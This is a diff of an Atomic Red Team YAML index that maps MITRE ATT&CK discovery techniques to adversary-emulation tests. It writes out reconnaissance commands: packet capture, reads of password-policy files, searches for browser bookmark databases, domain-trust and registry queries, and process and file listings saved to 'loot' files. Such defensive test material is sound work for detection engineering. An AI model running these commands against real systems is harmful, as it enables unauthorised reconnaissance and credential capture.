name: Network Sniffing - created: '2017-05-31T21:30:41.399Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. - - Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. - Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. - x_mitre_permissions_required: - - Administrator - - SYSTEM - identifier: T1040 + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:30:24.512Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1010 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1010 + modified: '2018-10-17T00:14:20.652Z' + identifier: T1010 atomic_tests: - - name: Packet Capture Linux - description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump - may already be installed. - -' - supported_platforms: - - linux - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: ens33 - executor: - name: bash - elevation_required: true - command: | - tcpdump -c 5 -nnni #{interface} - tshark -c 5 -i #{interface} - - name: Packet Capture MacOS - description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to - be installed. TCPdump may already be installed. + - name: List Process Main Windows - C# .NET + description: 'Compiles and executes C# code to list main window titles associated + with each process. ' supported_platforms: - - macos - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: en0A - executor: - name: bash - elevation_required: true - command: | - tcpdump -c 5 -nnni #{interface} - tshark -c 5 -i #{interface} - - name: Packet Capture Windows Command Prompt - description: | - Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark - installed, along with WinPCAP. Windump will require the windump executable. - supported_platforms: - windows input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: Ethernet0 + input_source_code: + description: Path to source of C# code + type: path + default: C:\AtomicRedTeam\atomics\T1010\src\T1010.cs + output_file_name: + description: Name of output binary + type: string + default: T1010.exe executor: name: command_prompt - elevation_required: true - command: | - c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 - c:\windump.exe - - name: Packet Capture PowerShell - description: | - Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark - installed, along with WinPCAP. Windump will require the windump executable. - supported_platforms: - - windows - input_arguments: - interface: - description: Specify interface to perform PCAP on. - type: String - default: Ethernet0 - executor: - name: powershell - elevation_required: true + elevation_required: false command: | - c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 - c:\windump.exe - T1201: + C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe -out:#{output_file_name} #{input_source_code} + #{output_file_name} + T1217: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1201 - source_name: mitre-attack - external_id: T1201 - - url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu - source_name: Superuser Linux Password Policies - description: Matutiae, M. (2014, August 6). How to display password policy - information for a user (Ubuntu)?. Retrieved April 5, 2018. - - url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines - source_name: Jamf User Password Policies - description: Holland, J. (2016, January 25). User password policies on non - AD machines. Retrieved April 5, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Sudhanshu Chauhan, @Sudhanshu_C x_mitre_data_sources: + - API monitoring + - File monitoring - Process command-line parameters - Process monitoring - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: Monitor processes for tools and command line arguments that - may indicate they're being used for password policy discovery. Correlate that - activity with other suspicious activity from the originating system to reduce - potential false positives from valid user or administrator activity. Adversaries - will likely attempt to find the password policy early in an operation and - the activity is likely to happen with other Discovery activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_permissions_required: + - User + name: Browser Bookmark Discovery + description: |- + Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. + + Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser. + + Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. + id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7 x_mitre_platforms: - - Windows - Linux + - Windows - macOS - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5 - name: Password Policy Discovery - created: '2018-04-18T17:59:24.739Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: |- - Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). - - Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) - - ### Windows - * net accounts - * net accounts /domain - - ### Linux - * chage -l - * cat /etc/pam.d/common-password + x_mitre_detection: |- + Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - ### macOS - * pwpolicy getaccountpolicies - x_mitre_permissions_required: - - User - identifier: T1201 + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Mike Kemmerer + created: '2018-04-18T17:59:24.739Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1217 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1217 + modified: '2018-10-31T13:45:13.024Z' + identifier: T1217 atomic_tests: - - name: Examine password complexity policy - Ubuntu - description: 'Lists the password complexity policy to console on Ubuntu Linux. - -' - supported_platforms: - - ubuntu - executor: - name: bash - command: 'cat /etc/pam.d/common-password - -' - - name: Examine password complexity policy - CentOS/RHEL 7.x - description: 'Lists the password complexity policy to console on CentOS/RHEL - 7.x Linux. - -' - supported_platforms: - - centos - executor: - name: bash - command: 'cat /etc/security/pwquality.conf - -' - - name: Examine password complexity policy - CentOS/RHEL 6.x - description: 'Lists the password complexity policy to console on CentOS/RHEL - 6.x Linux. - -' - supported_platforms: - - centos - executor: - name: bash - command: | - cat /etc/pam.d/system-auth - - cat /etc/security/pwquality.conf - - name: Examine password expiration policy - All Linux - description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu. + - name: List Mozilla Firefox Bookmark Database Files on Linux + description: 'Searches for Mozilla Firefox''s places.sqlite file (on Linux distributions) + that contains bookmarks and lists any found instances to a text file. ' supported_platforms: - linux executor: - name: bash - command: 'cat /etc/login.defs + name: sh + command: 'find / -path "*.mozilla/firefox/*/places.sqlite" -exec echo {} >> + /tmp/firefox-bookmarks.txt \; ' - - name: Examine local password policy - Windows - description: 'Lists the local password policy to console on Windows. + - name: List Mozilla Firefox Bookmark Database Files on macOS + description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS) + that contains bookmarks and lists any found instances to a text file. ' supported_platforms: - - windows + - macos executor: - name: command_prompt - elevation_required: false - command: 'net accounts + name: sh + command: 'find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} + >> /tmp/firefox-bookmarks.txt \; ' - - name: Examine domain password policy - Windows - description: 'Lists the domain password policy to console on Windows. + - name: List Google Chrome Bookmark JSON Files on macOS + description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains + bookmarks in JSON format and lists any found instances to a text file. ' supported_platforms: - - windows + - macos executor: - name: command_prompt - elevation_required: false - command: 'net accounts /domain - -' - - name: Examine password policy - macOS - description: 'Lists the password policy to console on macOS. + name: sh + command: 'find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> /tmp/chrome-bookmarks.txt + \; ' - supported_platforms: - - macos - executor: - name: bash - command: pwpolicy getaccountpolicies '': technique: - external_references: - - external_id: T1497 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1497 - - url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ - source_name: Unit 42 Pirpi July 2015 - description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations - on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April - 23, 2019.' - - url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ - source_name: McAfee Virtual Jan 2017 - description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual - Machine. Retrieved April 17, 2019. - - url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 - source_name: Sans Virtual Jan 2016 - description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox - Evasion Techniques. Retrieved April 17, 2019. - - url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ - source_name: Unit 42 Sofacy Nov 2018 - description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global - Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. - - url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html - source_name: FireEye FIN7 April 2017 - description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing - LNK. Retrieved April 24, 2017. - - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ - source_name: Unit 42 OilRig Sept 2018 - description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle - Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September - 24, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Sunny Neo x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2019-04-29T14:17:25.403Z' - x_mitre_detection: 'Virtualization, sandbox, and related discovery techniques - will likely occur in the first steps of an operation but may also occur throughout - as an adversary learns the environment. Data and events should not be viewed - in isolation, but as part of a chain of behavior that could lead to other - activities, such as lateral movement, based on the information obtained. Detecting - actions related to virtualization and sandbox identification may be difficult - depending on the adversary''s implementation and monitoring required. Monitoring - for suspicious processes being spawned that gather a variety of system information - or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), - especially in a short period of time, may aid in detection. - -' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d name: Virtualization/Sandbox Evasion - created: '2019-04-17T22:22:24.505Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search - for VME artifacts before dropping secondary or additional payloads. \n\nAdversaries - may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) + for VME artifacts before dropping secondary or additional payloads. Adversaries + may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) + during automated discovery to shape follow-on behaviors.\n\nAdversaries may + use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods @@ -13860,326 +13987,343 @@ discovery: Get-WmiObject -Query $q. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)" + id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d + modified: '2019-09-26T16:23:59.726Z' + x_mitre_platforms: + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: 'Virtualization, sandbox, and related discovery techniques + will likely occur in the first steps of an operation but may also occur throughout + as an adversary learns the environment. Data and events should not be viewed + in isolation, but as part of a chain of behavior that could lead to other + activities, such as lateral movement, based on the information obtained. Detecting + actions related to virtualization and sandbox identification may be difficult + depending on the adversary''s implementation and monitoring required. Monitoring + for suspicious processes being spawned that gather a variety of system information + or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), + especially in a short period of time, may aid in detection. + +' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Sunny Neo + created: '2019-04-17T22:22:24.505Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - source_name: mitre-attack + external_id: T1497 + url: https://attack.mitre.org/techniques/T1497 + - description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations + on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April + 23, 2019.' + source_name: Unit 42 Pirpi July 2015 + url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/ + - description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual + Machine. Retrieved April 17, 2019. + source_name: McAfee Virtual Jan 2017 + url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/ + - description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox + Evasion Techniques. Retrieved April 17, 2019. + source_name: Sans Virtual Jan 2016 + url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667 + - description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global + Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019. + source_name: Unit 42 Sofacy Nov 2018 + url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/ + - description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing + LNK. Retrieved April 24, 2017. + source_name: FireEye FIN7 April 2017 + url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html + - source_name: Unit 42 OilRig Sept 2018 + description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle + Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September + 24, 2018. + url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/ x_mitre_defense_bypassed: - - Anti-virus, Host forensic analysis, Signature-based detection, Static File - Analysis + - Anti-virus + - Host forensic analysis + - Signature-based detection + - Static File Analysis atomic_tests: [] - T1069: + T1482: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1069 - source_name: mitre-attack - external_id: T1069 - - url: https://capec.mitre.org/data/definitions/576.html - source_name: capec - external_id: CAPEC-576 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_permissions_required: + - User x_mitre_data_sources: + - PowerShell logs - API monitoring - - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + - Process monitoring + name: Domain Trust Discovery + description: 'Adversaries may attempt to gather information on domain trust + relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) + opportunities in Windows multi-domain/forest environments. Domain trusts provide + a mechanism for a domain to allow access to resources based on the authentication + procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow + the users of the trusted domain to access resources in the trusting domain. + The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), + [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: + AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain + trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, + .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility + [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries + to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)' + id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0 x_mitre_platforms: - - Linux - - macOS - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce - name: Permission Groups Discovery - created: '2017-05-31T21:30:55.471Z' + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' type: attack-pattern - description: "Adversaries may attempt to find local system or domain-level groups - and permissions settings. \n\n### Windows\n\nExamples of commands that can - list groups are net group /domain and net localgroup - using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn - Mac, this same thing can be accomplished with the dscacheutil -q group - for the domain, or dscl . -list /Groups for local groups.\n\n### - Linux\n\nOn Linux, local groups can be enumerated with the groups - command and domain groups via the ldapsearch command." - x_mitre_permissions_required: - - User - identifier: T1069 + x_mitre_detection: | + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Dave Westgard + - Elia Florio, Microsoft + - Mnemonic + - RedHuntLabs (@redhuntlabs) + created: '2019-02-14T16:15:05.974Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - source_name: mitre-attack + external_id: T1482 + url: https://attack.mitre.org/techniques/T1482 + - description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February + 14, 2019. + source_name: Microsoft Trusts + url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10) + - description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos + Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved + February 14, 2019. + source_name: AdSecurity Forging Trust Tickets + url: https://adsecurity.org/?p=1588 + - description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain + Trusts. Retrieved February 14, 2019. + source_name: Harmj0y Domain Trusts + url: 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ ' + - description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation + WilySupply software supply chain cyberattack. Retrieved February 14, 2019. + source_name: Microsoft Operation Wilysupply + url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/ + - description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved + February 14, 2019. + source_name: Microsoft GetAllTrustRelationships + url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships + modified: '2019-07-17T19:33:25.991Z' + identifier: T1482 atomic_tests: - - name: Elevated group enumeration using net group - description: 'Runs ''net group'' command including command aliases and loose - typing to simulate enumeration/discovery of high value domain groups + - name: Windows - Discover domain trusts with dsquery + description: | + Uses the dsquery command to discover domain trusts. + Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role. + supported_platforms: + - windows + executor: + name: command_prompt + command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr * ' + - name: Windows - Discover domain trusts with nltest + description: | + Uses the nltest command to discover domain trusts. + Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role. + This technique has been used by the Trickbot malware family. supported_platforms: - windows executor: name: command_prompt - elevation_required: false - command: | - net group /domai 'Domain Admins' - net groups 'Account Operators' /doma - net groups 'Exchange Organization Management' /doma - net group 'BUILTIN\Backup Operators' /doma - T1057: + command: 'nltest /domain_trusts + +' + T1083: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1057 - source_name: mitre-attack - external_id: T1057 - - url: https://capec.mitre.org/data/definitions/573.html - source_name: capec - external_id: CAPEC-573 + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM x_mitre_data_sources: + - File monitoring - Process monitoring - Process command-line parameters - x_mitre_system_requirements: - - Administrator, SYSTEM may provide better process ownership details - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 - name: Process Discovery - created: '2017-05-31T21:30:48.728Z' - x_mitre_version: '1.0' - type: attack-pattern + name: File and Directory Discovery description: |- - Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. + Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows - An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility. + Example utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API. ### Mac and Linux - In Mac and Linux, this is accomplished with the ps command. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1057 + In Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands. + id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + x_mitre_system_requirements: + - Some folders may require Administrator, SYSTEM or specific user depending + on permission levels and access controls + type: attack-pattern + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. + + Monitor proceExesses and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-05-31T21:31:04.710Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: discovery + external_references: + - external_id: T1083 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1083 + - source_name: Windows Commands JPCERT + description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. + Retrieved February 2, 2016. + url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html + modified: '2019-08-12T19:52:39.585Z' + identifier: T1083 atomic_tests: - - name: Process Discovery - ps - description: 'Utilize ps to identify processes + - name: File and Directory Discovery + description: 'Find or discover files on the file system ' supported_platforms: - - macos - - centos - - ubuntu - - linux - input_arguments: - output_file: - description: path of output file - type: path - default: "/tmp/loot.txt" + - windows executor: - name: sh + name: command_prompt elevation_required: false command: | - ps >> #{output_file} - ps aux >> #{output_file} - T1012: - technique: - external_references: - - url: https://attack.mitre.org/techniques/T1012 - source_name: mitre-attack - external_id: T1012 - - url: https://en.wikipedia.org/wiki/Windows_Registry - source_name: Wikipedia Windows Registry - description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_data_sources: - - Windows Registry - - Process monitoring - - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: |- - System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: discovery - kill_chain_name: mitre-attack - id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896 - name: Query Registry - created: '2017-05-31T21:30:25.584Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. + dir /s c:\ >> %temp%\download + dir /s "c:\Documents and Settings" >> %temp%\download + dir /s "c:\Program Files\" >> %temp%\download + dir /s d:\ >> %temp%\download + dir "%systemdrive%\Users\*.*" >> %temp%\download + dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download + dir "%userprofile%\Desktop\*.*" >> %temp%\download + tree /F >> %temp%\download + - name: File and Directory Discovery + description: 'Find or discover files on the file system - The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - identifier: T1012 - atomic_tests: - - name: Query Registry +' + supported_platforms: + - windows + executor: + name: powershell + elevation_required: false + command: | + ls -recurse + get-childitem -recurse + gci -recurse + - name: Nix File and Diectory Discovery description: | - Query Windows Registry - References: - - https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order - - https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services + Find or discover files on the file system References: - http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf + http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/ - https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf + https://perishablepress.com/list-files-folders-recursively-terminal/ supported_platforms: - - windows + - macos + - linux executor: - name: command_prompt - elevation_required: true + name: sh command: | - reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce - reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce - reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices - reg query 